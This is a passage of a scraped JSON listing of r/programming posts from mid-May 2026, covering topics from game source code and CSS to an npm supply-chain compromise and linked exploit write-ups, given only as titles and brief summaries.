linear chunks to save RAM, it can't easily rewind the audio buffer. When the game engine's clock stuttered and requested an audio sample from the past, the dev just gave up.\n\n> `// what?!?!?! Fucking time travel needed or something?, forget it`\n\nIt is wild to think that one of the highest skill ceiling multiplayer games ever made runs on this exact code. Shoutout to the [OpenJK](https://github.com/JACoders/OpenJK) team for cleaning up this spaghetti and keeping the game alive today.\n\nEDIT: Fixed formatting\nEDIT: Added some more stuff",
  "author": "MiscreatedFan123",
  "subreddit": "programming",
  "score": 2049,
  "upvoteRatio": 0.98,
  "numComments": 176,
  "createdAt": "2026-05-19T06:54:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/grayj/Jedi-Academy",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1thek83",
  "url": "https://cekrem.github.io/posts/the-tacit-dimension/",
  "permalink": "https://www.reddit.com/r/programming/comments/1thek83/the_tacit_dimension_why_your_best_engineers_cant/",
  "title": "The Tacit Dimension: Why Your Best Engineers Can't Tell You What They Know",
  "body": null,
  "author": "cekrem",
  "subreddit": "programming",
  "score": 133,
  "upvoteRatio": 0.92,
  "numComments": 28,
  "createdAt": "2026-05-19T06:35:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://cekrem.github.io/posts/the-tacit-dimension/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1thdzhj",
  "url": "https://wickstrom.tech/2026-05-16-coding-on-paper.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1thdzhj/coding_on_paper/",
  "title": "Coding on Paper",
  "body": null,
  "author": "BlondieCoder",
  "subreddit": "programming",
  "score": 29,
  "upvoteRatio": 0.77,
  "numComments": 13,
  "createdAt": "2026-05-19T06:05:07.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://wickstrom.tech/2026-05-16-coding-on-paper.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1thcanx",
  "url": "https://safedep.io/mini-shai-hulud-strikes-again-314-npm-packages-compromised/",
  "permalink": "https://www.reddit.com/r/programming/comments/1thcanx/314_npm_packages_just_got_compromised_271_antv/",
  "title": "314 npm packages just got compromised, 271 @antv, echarts-for-react, size-sensor, timeago.js",
  "body": "`atool` maintainer account got hacked, and attacker pushed 631 malicious versions across 314 packages in 22 minutes. another day and another attack. it steals everything like AWS keys, GitHub tokens, npm creds, SSH keys, database strings, docker configs, kubernetes tokens. If you have docker socket exposed, it escapes the container with privileged access.",
  "author": "BattleRemote3157",
  "subreddit": "programming",
  "score": 737,
  "upvoteRatio": 0.98,
  "numComments": 180,
  "createdAt": "2026-05-19T04:39:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://safedep.io/mini-shai-hulud-strikes-again-314-npm-packages-compromised/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1th96cs",
  "url": "https://leetarxiv.substack.com/p/bleichenbacher-attacks-hnp",
  "permalink": "https://www.reddit.com/r/programming/comments/1th96cs/bleichenbacher_attacks_on_hidden_number_problems/",
  "title": "Bleichenbacher Attacks on Hidden Number Problems use Fourier Analysis, not Lattices",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 2,
  "upvoteRatio": 0.57,
  "numComments": 0,
  "createdAt": "2026-05-19T02:17:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/bleichenbacher-attacks-hnp",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1th2cav",
  "url": "https://www.bitsxpages.com/p/protocols-for-transactional-usage",
  "permalink": "https://www.reddit.com/r/programming/comments/1th2cav/protocols_for_transactional_usage_of_object/",
  "title": "Protocols for transactional usage of object storage",
  "body": null,
  "author": "NoPercentage6144",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.76,
  "numComments": 0,
  "createdAt": "2026-05-18T21:43:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.bitsxpages.com/p/protocols-for-transactional-usage",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tgterl",
  "url": "https://www.architecture-weekly.com/p/on-mashing-up-modelling-techniques",
  "permalink": "https://www.reddit.com/r/programming/comments/1tgterl/on_mashing_up_modelling_techniques_for_fun_and/",
  "title": "On mashing up modelling techniques for fun and profit",
  "body": null,
  "author": "Adventurous-Salt8514",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.67,
  "numComments": 0,
  "createdAt": "2026-05-18T17:21:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.architecture-weekly.com/p/on-mashing-up-modelling-techniques",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tgr4bx",
  "url": "https://ryanjk5.github.io/posts/GOLDE/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tgr4bx/simulating_infinity_in_conways_game_of_life_with/",
  "title": "Simulating Infinity in Conway's Game of Life with Modern C++",
  "body": null,
  "author": "Ok_Statistician_781",
  "subreddit": "programming",
  "score": 93,
  "upvoteRatio": 0.8,
  "numComments": 15,
  "createdAt": "2026-05-18T16:05:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ryanjk5.github.io/posts/GOLDE/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tgqwhj",
  "url": "https://dm13450.github.io/2026/05/18/the-joys-of-free-cloudflare.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tgqwhj/the_joys_of_free_cloudflare/",
  "title": "The Joys of Free Cloudflare",
  "body": null,
  "author": "dm13450",
  "subreddit": "programming",
  "score": 63,
  "upvoteRatio": 0.81,
  "numComments": 12,
  "createdAt": "2026-05-18T15:57:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://dm13450.github.io/2026/05/18/the-joys-of-free-cloudflare.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tgknix",
  "url": "https://labs.leaningtech.com/blog/browserpod-deep-dive",
  "permalink": "https://www.reddit.com/r/programming/comments/1tgknix/a_linuxlike_kernel_in_a_browser_tab_deep_dive_in/",
  "title": "A Linux-like kernel in a browser tab - deep dive in the BrowserPod architecture",
  "body": null,
  "author": "alexp_lt",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.39,
  "numComments": 7,
  "createdAt": "2026-05-18T12:08:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://labs.leaningtech.com/blog/browserpod-deep-dive",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tgh4m6",
  "url": "https://georg-schwarz.com/blog/from-kubernetes-demo-to-production-platform/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tgh4m6/kubernetes_from_dev_to_production_lessons_learned/",
  "title": "Kubernetes from Dev to Production: Lessons learned from self-hosting an European alternative to Google Docs",
  "body": null,
  "author": "rhazn",
  "subreddit": "programming",
  "score": 139,
  "upvoteRatio": 0.92,
  "numComments": 42,
  "createdAt": "2026-05-18T09:15:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://georg-schwarz.com/blog/from-kubernetes-demo-to-production-platform/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tggiab",
  "url": "https://howtocenterdiv.com/beyond-the-div/nobody-pushed-back",
  "permalink": "https://www.reddit.com/r/programming/comments/1tggiab/nobody_pushed_back_why_engineers_stay_silent/",
  "title": "Nobody Pushed Back: Why Engineers Stay Silent Until It's Too Late",
  "body": "Most architectural disasters aren't a knowledge problem. The engineers knew. Speaking up just wasn't worth it.",
  "author": "Itchy-Warthog8260",
  "subreddit": "programming",
  "score": 488,
  "upvoteRatio": 0.93,
  "numComments": 156,
  "createdAt": "2026-05-18T08:40:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://howtocenterdiv.com/beyond-the-div/nobody-pushed-back",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tgd8qh",
  "url": "https://colechamberlin.substack.com/p/spring-physics-in-my-word-game",
  "permalink": "https://www.reddit.com/r/programming/comments/1tgd8qh/spring_physics_in_my_word_game_an_exploration_of/",
  "title": "Spring Physics in my Word Game? An exploration of advanced CSS animations in SvelteJS",
  "body": null,
  "author": "jessecoleman",
  "subreddit": "programming",
  "score": 17,
  "upvoteRatio": 0.72,
  "numComments": 7,
  "createdAt": "2026-05-18T05:38:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://colechamberlin.substack.com/p/spring-physics-in-my-word-game",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tg1jwl",
  "url": "https://codingismycraft.blog/index.php/2026/05/17/confusing-consumption-with-creation-in-modern-software/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tg1jwl/confusing_consumption_with_creation_in_modern/",
  "title": "Confusing Consumption with Creation in Modern Software",
  "body": null,
  "author": "Greedy_Principle5345",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.17,
  "numComments": 0,
  "createdAt": "2026-05-17T20:54:47.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://codingismycraft.blog/index.php/2026/05/17/confusing-consumption-with-creation-in-modern-software/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tfspif",
  "url": "https://blog.izissise.net/posts/webdev-livecompile/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tfspif/piping_compilation_logs_to_the_browser_using/",
  "title": "Piping Compilation Logs to the Browser using systemfd",
  "body": "Hey folks, I wanted to share a fun hack I put together to fix a daily annoyance.\n\nWhen developing a compiled backend (Rust in my case), waiting for the server to rebuild usually means staring at a hanging browser tab or a \"Connection Refused\" error if you refresh too early.\n\nTo fix this, I set up a dev loop using `systemfd` to hold the listening socket open between restarts. While the compiler is running, I use `socat` to hijack that socket and stream the raw terminal build logs directly to the browser via HTTP/1.1 stream response and `xterm.js`.\n\nOnce the build succeeds, the page smoothly transitions to the actual web app.\n\nIt's language-agnostic and completely gets rid of the blank page downtime. I'd love to hear what you think or if anyone else has built a similar dev loop!",
  "author": "izissise",
  "subreddit": "programming",
  "score": 19,
  "upvoteRatio": 0.78,
  "numComments": 4,
  "createdAt": "2026-05-17T15:29:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.izissise.net/posts/webdev-livecompile/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tfslxd",
  "url": "https://jordanlord.co.uk/blog/object-oriented-programming-in-c/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tfslxd/objectoriented_programming_in_c_2017/",
  "title": "Object-oriented Programming in C (2017)",
  "body": null,
  "author": "mooreds",
  "subreddit": "programming",
  "score": 21,
  "upvoteRatio": 0.66,
  "numComments": 21,
  "createdAt": "2026-05-17T15:25:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jordanlord.co.uk/blog/object-oriented-programming-in-c/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tfrnp1",
  "url": "https://justsitandgrin.im/posts/native-all-the-way-until-you-need-text/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tfrnp1/native_all_the_way_until_you_need_text/",
  "title": "Native all the way, until you need text",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 243,
  "upvoteRatio": 0.88,
  "numComments": 164,
  "createdAt": "2026-05-17T14:50:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://justsitandgrin.im/posts/native-all-the-way-until-you-need-text/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tfmqyx",
  "url": "https://rushter.com/blog/pypi-packages/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tfmqyx/pypi_packages_are_increasing_rapidly/",
  "title": "PyPI packages are increasing rapidly",
  "body": null,
  "author": "f311a",
  "subreddit": "programming",
  "score": 157,
  "upvoteRatio": 0.93,
  "numComments": 27,
  "createdAt": "2026-05-17T11:21:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rushter.com/blog/pypi-packages/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tfk6ec",
  "url": "https://sudeep162002.substack.com/p/event-loop-from-first-principles",
  "permalink": "https://www.reddit.com/r/programming/comments/1tfk6ec/event_loop_from_first_principles_andhow_it_powers/",
  "title": "Event Loop From First Principles andHow It Powers Connection Pools",
  "body": null,
  "author": "Playful_Chain_1809",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.37,
  "numComments": 1,
  "createdAt": "2026-05-17T09:01:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sudeep162002.substack.com/p/event-loop-from-first-principles",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tfd76l",
  "url": "https://www.youtube.com/watch?v=7tEb1SrYCLg",
  "permalink": "https://www.reddit.com/r/programming/comments/1tfd76l/engineer_answers_rust_questions_compile_time/",
  "title": "Engineer Answers Rust Questions | \"Compile Time\"?",
  "body": "Mostly for fun but might be useful for someone coming from Javascript, Python etc.",
  "author": "rustcurious",
  "subreddit": "programming",
  "score": 5,
  "upvoteRatio": 0.54,
  "numComments": 8,
  "createdAt": "2026-05-17T02:51:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=7tEb1SrYCLg",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tfcsbb",
  "url": "https://blog.calif.io/p/first-public-kernel-memory-corruption",
  "permalink": "https://www.reddit.com/r/programming/comments/1tfcsbb/first_public_macos_kernel_memory_corruption/",
  "title": "First Public macOS Kernel Memory Corruption Exploit On Apple Silicon M5",
  "body": null,
  "author": "CircumspectCapybara",
  "subreddit": "programming",
  "score": 497,
  "upvoteRatio": 0.95,
  "numComments": 45,
  "createdAt": "2026-05-17T02:31:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.calif.io/p/first-public-kernel-memory-corruption",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tfb5ec",
  "url": "https://medium.com/@plainbytes.studio/why-i-built-an-offline-windows-app-when-everyone-else-is-going-to-the-cloud-9815c3bd77f1",
  "permalink": "https://www.reddit.com/r/programming/comments/1tfb5ec/why_i_built_an_offline_windows_app_when_everyone/",
  "title": "Why I Built an Offline Windows App When Everyone Else Is Going to the Cloud",
  "body": null,
  "author": "Opposite-Future-5797",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.24,
  "numComments": 13,
  "createdAt": "2026-05-17T01:12:34.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@plainbytes.studio/why-i-built-an-offline-windows-app-when-everyone-else-is-going-to-the-cloud-9815c3bd77f1",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tf77u2",
  "url": "https://www.moment.dev/blog/lies-i-was-told-pt-2",
  "permalink": "https://www.reddit.com/r/programming/comments/1tf77u2/lies_i_was_told_about_collaborative_editing_part/",
  "title": "Lies I was Told About Collaborative Editing, Part 2: Why we don't use Yjs",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 26,
  "upvoteRatio": 0.79,
  "numComments": 3,
  "createdAt": "2026-05-16T22:15:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.moment.dev/blog/lies-i-was-told-pt-2",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tf6qef",
  "url": "https://codeberg.org/tlid/minix",
  "permalink": "https://www.reddit.com/r/programming/comments/1tf6qef/crosscompiling_minix_11_on_a_modern_host_preansi/",
  "title": "Cross-compiling MINIX 1.1 on a modern host (pre-ANSI, K&R C)",
  "body": null,
  "author": "Kq9gE8MNWZ7m",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 1,
  "numComments": 1,
  "createdAt": "2026-05-16T21:54:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://codeberg.org/tlid/minix",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tf42e3",
  "url": "https://projectzero.google/2026/05/pixel-10-exploit.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tf42e3/google_project_zero_a_0click_exploit_chain_for/",
  "title": "Google Project Zero: A 0-click exploit chain for the Pixel 10: When a Door Closes, a Window Opens",
  "body": null,
  "author": "CircumspectCapybara",
  "subreddit": "programming",
  "score": 72,
  "upvoteRatio": 0.91,
  "numComments": 3,
  "createdAt": "2026-05-16T20:05:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://projectzero.google/2026/05/pixel-10-exploit.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tf4209",
  "url": "https://github.com/ttsiodras/3D-on-a-ZX-Spectrum-48K/blob/master/README.md",
  "permalink": "https://www.reddit.com/r/programming/comments/1tf4209/writing_z80_assembly_4_decades_later/",
  "title": "Writing Z80 assembly 4 decades later :-)",
  "body": null,
  "author": "ttsiodras",
  "subreddit": "programming",
  "score": 49,
  "upvoteRatio": 0.88,
  "numComments": 4,
  "createdAt": "2026-05-16T20:04:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/ttsiodras/3D-on-a-ZX-Spectrum-48K/blob/master/README.md",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tey4h6",
  "url": "https://jvns.ca/blog/2026/05/15/moving-away-from-tailwind--and-learning-to-structure-my-css-/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tey4h6/moving_away_from_tailwind_and_learning_to/",
  "title": "Moving away from Tailwind, and learning to structure my CSS",
  "body": null,
  "author": "Either_Collection349",
  "subreddit": "programming",
  "score": 165,
  "upvoteRatio": 0.9,
  "numComments": 48,
  "createdAt": "2026-05-16T16:18:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://jvns.ca/blog/2026/05/15/moving-away-from-tailwind--and-learning-to-structure-my-css-/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tev9os",
  "url": "https://labs.iximiuz.com/tutorials/unikernels-intro-93976514",
  "permalink": "https://www.reddit.com/r/programming/comments/1tev9os/handson_introduction_to_unikernels/",
  "title": "Hands-On Introduction to Unikernels",
  "body": null,
  "author": "iximiuz",
  "subreddit": "programming",
  "score": 57,
  "upvoteRatio": 0.89,
  "numComments": 6,
  "createdAt": "2026-05-16T14:30:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://labs.iximiuz.com/tutorials/unikernels-intro-93976514",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1temuzb",
  "url": "https://purplesyringa.moe/blog/an-ode-to-bzip/",
  "permalink": "https://www.reddit.com/r/programming/comments/1temuzb/an_ode_to_bzip/",
  "title": "An ode to bzip",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 63,
  "upvoteRatio": 0.92,
  "numComments": 8,
  "createdAt": "2026-05-16T07:38:42.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://purplesyringa.moe/blog/an-ode-to-bzip/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1temt7r",
  "url": "https://kevinpatel.xyz/posts/no-way-to-prevent-this/",
  "permalink": "https://www.reddit.com/r/programming/comments/1temt7r/no_way_to_prevent_this_says_only_package_manager/",
  "title": "‘No Way To Prevent This,’ Says Only Package Manager Where This Regularly Happens | Kevin Patel",
  "body": null,
  "author": "lelanthran",
  "subreddit": "programming",
  "score": 1501,
  "upvoteRatio": 0.95,
  "numComments": 181,
  "createdAt": "2026-05-16T07:35:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://kevinpatel.xyz/posts/no-way-to-prevent-this/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tel9yc",
  "url": "https://richardkulisz.blogspot.com/2011/02/smalltalk-software-industrys-greatest.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1tel9yc/smalltalk_the_software_industrys_greatest_failure/",
  "title": "Smalltalk: the Software Industry's Greatest Failure",
  "body": null,
  "author": "parallel-minds",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.35,
  "numComments": 1,
  "createdAt": "2026-05-16T06:13:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://richardkulisz.blogspot.com/2011/02/smalltalk-software-industrys-greatest.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1teabtu",
  "url": "https://www.vldb.org/pvldb/vol19/p1469-lee.pdf",
  "permalink": "https://www.reddit.com/r/programming/comments/1teabtu/pdf_how_to_write_to_ssds/",
  "title": "[PDF] How to Write to SSDs",
  "body": null,
  "author": "mttd",
  "subreddit": "programming",
  "score": 14,
  "upvoteRatio": 0.73,
  "numComments": 2,
  "createdAt": "2026-05-15T21:49:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.vldb.org/pvldb/vol19/p1469-lee.pdf",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1te96np",
  "url": "https://renfoc.us/posts/1778877814-rust_on_my_bun",
  "permalink": "https://www.reddit.com/r/programming/comments/1te96np/rust_on_my_buns/",
  "title": "Rust on my Buns",
  "body": null,
  "author": "trigzo",
  "subreddit": "programming",
  "score": 129,
  "upvoteRatio": 0.75,
  "numComments": 80,
  "createdAt": "2026-05-15T21:05:35.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://renfoc.us/posts/1778877814-rust_on_my_bun",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1te8wiu",
  "url": "https://icode4.coffee/?p=1465",
  "permalink": "https://www.reddit.com/r/programming/comments/1te8wiu/hdd_firmware_hacking_part_1/",
  "title": "HDD Firmware Hacking Part 1",
  "body": null,
  "author": "cake-day-on-feb-29",
  "subreddit": "programming",
  "score": 21,
  "upvoteRatio": 0.81,
  "numComments": 0,
  "createdAt": "2026-05-15T20:55:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://icode4.coffee/?p=1465",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1te7b17",
  "url": "https://youtu.be/lMZ7I3fQzVs?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
  "permalink": "https://www.reddit.com/r/programming/comments/1te7b17/ye_cannae_change_the_laws_of_physics_kevlin_henney/",
  "title": "Ye Cannae Change the Laws of Physics • Kevlin Henney",
  "body": null,
  "author": "goto-con",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.44,
  "numComments": 7,
  "createdAt": "2026-05-15T19:56:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/lMZ7I3fQzVs?list=PLEx5khR4g7PINwOsYrkwz3lTTJUYoXC53",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1te6m44",
  "url": "https://laurent.le-brun.eu/blog/a-history-of-ides-at-google",
  "permalink": "https://www.reddit.com/r/programming/comments/1te6m44/a_history_of_ides_at_google/",
  "title": "A History of IDEs at Google",
  "body": null,
  "author": "laurentlb",
  "subreddit": "programming",
  "score": 317,
  "upvoteRatio": 0.92,
  "numComments": 111,
  "createdAt": "2026-05-15T19:31:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://laurent.le-brun.eu/blog/a-history-of-ides-at-google",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tdz7t3",
  "url": "https://ryelang.org/blog/posts/whitelist-config-with-rye/",
  "permalink": "https://www.reddit.com/r/programming/comments/1tdz7t3/allowlisting_config_capabilities_by_embedding_rye/",
  "title": "Allowlisting Config Capabilities by Embedding Rye in Go",
  "body": null,
  "author": "middayc",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 2,
  "createdAt": "2026-05-15T15:11:37.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://ryelang.org/blog/posts/whitelist-config-with-rye/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1tdu6ge",
